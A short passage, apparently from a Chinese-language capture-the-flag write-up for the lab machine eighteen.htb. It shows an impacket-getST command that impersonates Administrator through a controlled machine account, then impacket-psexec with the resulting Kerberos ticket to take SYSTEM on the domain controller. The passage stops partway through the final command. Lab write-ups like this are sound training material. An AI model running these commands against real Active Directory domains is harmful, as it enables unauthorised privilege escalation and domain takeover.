impacket-getST -dc-ip 240.0.0.1 -spn ldap/dc01.eighteen.htb -impersonate Administrator eighteen.htb/hackheart$ -k -no-pass

最后,使用 impacket-psexec 登录到域控 dc01.eighteen.htb,并获取 SYSTEM 权限。

export KRB5CCNAME=hackheart$.ccache
impacket-psexec -k -no-pass eighteen.htb/hackheart$@dc01.eighteen.h